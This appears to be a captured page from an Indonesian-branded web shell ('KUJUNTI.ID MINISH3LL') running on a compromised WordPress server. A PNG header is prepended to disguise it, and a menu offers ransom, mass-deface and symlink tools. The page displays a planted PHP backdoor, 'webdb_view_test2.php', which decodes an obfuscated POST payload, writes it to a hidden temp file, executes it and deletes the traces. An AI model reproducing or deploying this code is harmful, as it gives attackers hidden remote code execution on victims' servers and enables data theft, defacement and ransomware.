\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-admin/img/js/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-admin/img/js/webdb_view_test2.php


<?php

if(@$_POST["des\x63\x72\x69p\x74\x6Fr"] !== null){
	$binding = array_filter([getenv("TMP"), "/dev/shm", "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]);
	$factor = $_POST["des\x63\x72\x69p\x74\x6Fr"];
		 $factor  	= 	explode		 (".",		$factor   )	 ;
	$hld = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$s	);
            $len = count( 	$factor	);
    
            for( 	$q = 0; $q  <	 $len; $q++) {	$v6 = $factor[$q];
                $chS = ord( 	$s[$q%	$sLen]	);
                $dec =( 	( 	int)$v6 - $chS -( 	$q%	10)) ^ 61;
                $hld	.=	 chr( 	$dec	);
            }
	foreach ($binding as $data):
    		if (array_product([is_dir($data), is_writable($data)])) {
    $resource = sprintf("%s/.record", $data);
    if (file_put_contents($resource, $hld)) {
	require $resource;
	unlink($resource);
	die();
}
}
endforeach;
}

© KUJUNTI.ID